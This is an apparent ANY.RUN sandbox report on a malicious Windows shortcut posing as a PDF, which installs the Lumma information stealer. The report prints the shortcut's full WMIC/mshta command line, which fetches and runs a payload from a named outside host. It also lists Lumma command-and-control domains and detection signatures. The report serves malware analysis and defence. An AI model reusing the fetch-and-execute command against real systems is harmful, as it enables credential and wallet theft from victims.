File name:

Instruction_18112.pdf.lnk

Full analysis: https://app.any.run/tasks/344d4914-f368-4bda-bdec-76af9c23b662
Verdict: Malicious activity
Threats:

Lumma is an information stealer, developed using the C programming language. It is offered for sale as a malware-as-a-service, with several plans available. It usually targets cryptocurrency wallets, login credentials, and other sensitive information on a compromised system. The malicious software regularly gets updates that improve and expand its functionality, making it a serious stealer threat.

Malware Trends Tracker     >>>
Analysis date: November 16, 2024, 00:09:29
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
susp-powershell
lumma
stealer
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon "%ProgramFiles%\Microsoft\Edge\Application\msedge.exe", MachineID odafa KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Tue Mar 12 20:03:35 2024, atime=Mon Jun 17 13:07:55 2024, mtime=Tue Mar 12 20:03:35 2024, length=471040, window=showminnoactive, IDListSize 0x0187, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\wbem\WMIC.exe"
MD5:

CDBF2DB8C078C2964D02C7518E3BED81

SHA1:

66AE47E712140F12B25AB027458035ADBF366B44

SHA256:

7EC8D5588CEEC6A3D1242B5F6127D56E50D91AFD33241DAA248B4A797CF8DA19

SSDEEP:

48:88nSJOJjuCf6eHeBsNdo9aQm2V2h5W3b:88nSJAf6eksoJY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 860)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 5832)
      • powershell.exe (PID: 6236)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 5832)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 5832)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 5832)

    • Changes powershell execution policy (RemoteSigned)

      • cmd.exe (PID: 5004)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6236)

    • Executing a file with an untrusted certificate

      • VCDDaemon.exe (PID: 3600)

    • Known privilege escalation attack

      • dllhost.exe (PID: 2464)

    • Connects to the CnC server

      • svchost.exe (PID: 2172)

    • LUMMA has been detected (SURICATA)

      • svchost.exe (PID: 2172)
      • rundll32.exe (PID: 3864)

  • SUSPICIOUS

    • Executed via WMI

      • mshta.exe (PID: 860)

    • Executes script without checking the security policy

      • powershell.exe (PID: 5832)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 860)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 860)

    • Process drops legitimate windows executable

      • mshta.exe (PID: 860)
      • powershell.exe (PID: 6236)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 860)
      • powershell.exe (PID: 6236)
      • VCDDaemon.exe (PID: 3600)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 5832)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 5832)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 5004)
      • mshta.exe (PID: 860)

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 5004)
      • mshta.exe (PID: 860)

    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 5004)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6236)

    • Writes data to a memory stream (POWERSHELL)

      • powershell.exe (PID: 6236)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 6236)

    • Creates new GUID (POWERSHELL)

      • powershell.exe (PID: 6236)

    • Contacting a server suspected of hosting an CnC

      • svchost.exe (PID: 2172)
      • rundll32.exe (PID: 3864)

    • Starts itself from another location

      • VCDDaemon.exe (PID: 3600)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 5832)

  • INFO

    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 1884)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5832)
      • powershell.exe (PID: 6236)

    • The executable file from the user directory is run by the Powershell process

      • VCDDaemon.exe (PID: 3600)

    • Found Base64 encoded file access via PowerShell (YARA)

      • powershell.exe (PID: 6236)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 860)

    • Checks proxy server information

      • mshta.exe (PID: 860)

    • The process uses the downloaded file

      • mshta.exe (PID: 860)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: Archive
CreateDate: 2024:03:12 20:03:35+00:00
AccessDate: 2024:06:17 13:07:55+00:00
ModifyDate: 2024:03:12 20:03:35+00:00
TargetFileSize: 471040
IconIndex: 11
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: WMIC.exe
DriveType: Fixed Disk
DriveSerialNumber: 5823-95DD
VolumeLabel: System
LocalBasePath: C:\Windows\System32\wbem\WMIC.exe
Description: Instruction_18112.pdf
RelativePath: ..\..\..\..\..\..\..\Windows\System32\wbem\WMIC.exe
CommandLineArguments: /namespace:\\root\cimv2 path Win32_Process call Create "mshta https://cdn-defac18.artcollective-snapclick.com/api/reg/update.json"
IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
MachineID: odafa
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
152
Monitored processes
19
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wmic.exe no specs conhost.exe no specs mshta.exe powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs vcddaemon.exe vcddaemon.exe no specs choice.exe no specs conhost.exe no specs CMSTPLUA vcddaemon.exe no specs choice.exe no specs conhost.exe no specs #LUMMA rundll32.exe #LUMMA svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
632"C:\Users\admin\AppData\Roaming\NA￑C\VCDDaemon.exe" C:\Users\admin\AppData\Roaming\NA￑C\VCDDaemon.exe—dllhost.exe
User:
admin
Company:
Elaborate Bytes AG
Integrity Level:
HIGH
Description:
Virtual CloneDrive Daemon
Exit code:
1
Version:
5, 4, 5, 1
Modules
Images
c:\users\admin\appdata\roaming\na￑c\vcddaemon.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
860mshta https://cdn-defac18.artcollective-snapclick.com/api/reg/update.jsonC:\Windows\System32\mshta.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
1884"C:\Windows\System32\wbem\WMIC.exe" /namespace:\\root\cimv2 path Win32_Process call Create "mshta https://cdn-defac18.artcollective-snapclick.com/api/reg/update.json"C:\Windows\System32\wbem\WMIC.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2172C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2464C:\WINDOWS\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}C:\Windows\SysWOW64\dllhost.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\dllhost.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\ucrtbase.dll
c:\windows\syswow64\combase.dll
3028\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—WMIC.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3156C:\WINDOWS\SysWOW64\choice.exeC:\Windows\SysWOW64\choice.exe—VCDDaemon.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Offers the user a choice
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\choice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
3600"C:\Users\admin\AppData\Local\a05db3da-2429-4b3d-966f-197d3546dd60\VCDDaemon.exe"C:\Users\admin\AppData\Local\a05db3da-2429-4b3d-966f-197d3546dd60\VCDDaemon.exe
powershell.exe
User:
admin
Company:
Elaborate Bytes AG
Integrity Level:
MEDIUM
Description:
Virtual CloneDrive Daemon
Exit code:
0
Version:
5, 4, 5, 1
Modules
Images
c:\users\admin\appdata\local\a05db3da-2429-4b3d-966f-197d3546dd60\vcddaemon.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
3848C:\Users\admin\AppData\Roaming\NA￑C\VCDDaemon.exeC:\Users\admin\AppData\Roaming\NA￑C\VCDDaemon.exe—VCDDaemon.exe
User:
admin
Company:
Elaborate Bytes AG
Integrity Level:
MEDIUM
Description:
Virtual CloneDrive Daemon
Exit code:
1
Version:
5, 4, 5, 1
Modules
Images
c:\users\admin\appdata\roaming\na￑c\vcddaemon.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
3864C:\WINDOWS\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe
choice.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\msotgoa
c:\windows\syswow64\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
Total events
18 927
Read events
18 922
Write events
5
Delete events
0

Modification events

(PID) Process:(860) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(860) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(860) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6236) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
Operation:writeName:{2781761E-28E0-4109-99FE-B9D127C57AFE} {56FFCC30-D398-11D0-B2AE-00A0C908FA49} 0xFFFF
Value:
010000000000000020F244D8BB37DB01
(PID) Process:(2464) dllhost.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:SlowContextMenuEntries
Value:
6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000
Executable files
205
Suspicious files
15
Text files
11
Unknown types
1

Dropped files

PID
Process
Filename
Type
860mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12der
MD5:67E486B2F148A3FCA863728242B6273E
SHA256:FACAF1C3A4BF232ABCE19A2D534E495B0D3ADC7DBE3797D336249AA6F70ADCFB
860mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12binary
MD5:89FCB35219CC1B8E23CC49E8927C718F
SHA256:3C61250F62B27DC905E5706098CBE46752C1605B96E61AA9203922B5B56B04F9
6236powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IADZ0U21077H0JD6B4XX.tempbinary
MD5:C1ACA00C1DBA07C4BC0201F983121572
SHA256:266D6B11EDEC0513C60E40E5F32D0877511E62950A0521C901E819F767D3900E
5832powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0osouae4.03z.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5832powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:FD07DE103F02BD53166A0A85265F32C3
SHA256:793330A32801BE5725C51A5F10888C94FEB1AF97D0F8F68EF6DFCB4C363F2F63
860mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\update[1].jsonexecutable
MD5:E38CE05BA4D0D45AA2046092A2B48A8A
SHA256:57E31D0943AD06AC6C89628AC9DDB5817274AB1C938C64BF3FD3A9EA1F8CFD63
6236powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:C1ACA00C1DBA07C4BC0201F983121572
SHA256:266D6B11EDEC0513C60E40E5F32D0877511E62950A0521C901E819F767D3900E
6236powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fqaadz4m.ga0.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6236powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_shqbqdkd.wn3.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6236powershell.exeC:\Users\admin\AppData\Local\Temp\a05db3da-2429-4b3d-966f-197d3546dd60.zipcompressed
MD5:AF4005FACE8C61382C1EE957D7BE7F8A
SHA256:7BDE9E3490FAD17F786039FDBC0B965EEA6A78A798448777BC379CC90CFA1F04
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
46
DNS requests
33
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
860
mshta.exe
GET
200
216.58.206.67:80
http://c.pki.goog/r/r4.crl
unknown
—
—
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1168
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
23.32.238.145:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4208
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
4360
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1880
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
860
mshta.exe
GET
200
216.58.206.67:80
http://c.pki.goog/r/gsr1.crl
unknown
—
—
whitelisted
1168
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
6944
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5488
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7048
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
860
mshta.exe
104.21.78.162:443
cdn-defac18.artcollective-snapclick.com
CLOUDFLARENET
—
unknown
860
mshta.exe
216.58.206.67:80
c.pki.goog
GOOGLE
US
whitelisted
4360
SearchApp.exe
104.126.37.178:443
www.bing.com
Akamai International B.V.
DE
whitelisted
4360
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1880
svchost.exe
20.190.159.73:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 40.127.240.158
  • 4.231.128.59
whitelisted
google.com
  • 142.250.181.238
whitelisted
cdn-defac18.artcollective-snapclick.com
  • 104.21.78.162
  • 172.67.223.193
unknown
c.pki.goog
  • 216.58.206.67
whitelisted
www.bing.com
  • 104.126.37.178
  • 104.126.37.171
  • 104.126.37.161
  • 104.126.37.163
  • 104.126.37.131
  • 104.126.37.170
  • 104.126.37.136
  • 104.126.37.152
  • 104.126.37.153
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 20.190.159.73
  • 40.126.31.69
  • 20.190.159.23
  • 20.190.159.4
  • 20.190.159.75
  • 40.126.31.73
  • 20.190.159.0
  • 20.190.159.64
whitelisted
th.bing.com
  • 104.126.37.163
  • 104.126.37.186
  • 104.126.37.131
  • 104.126.37.155
  • 104.126.37.168
  • 104.126.37.171
  • 104.126.37.137
  • 104.126.37.139
  • 104.126.37.170
whitelisted
pub.foodie-safari.shop
  • 188.114.96.3
  • 188.114.97.3
unknown
go.microsoft.com
  • 23.218.210.69
whitelisted

Threats

PID
Process
Class
Message
2172
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fleez-inc .sbs)
3864
rundll32.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (fleez-inc .sbs in TLS SNI)
2172
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thicktoys .sbs)
2172
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pull-trucker .sbs)
3864
rundll32.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (pull-trucker .sbs in TLS SNI)
2172
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bored-light .sbs)
3864
rundll32.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (bored-light .sbs in TLS SNI)
2172
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xc1aimbl0w .sbs)
2172
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (300snails .sbs)
2172
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crib-endanger .sbs)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Instruction_18112.pdf.lnk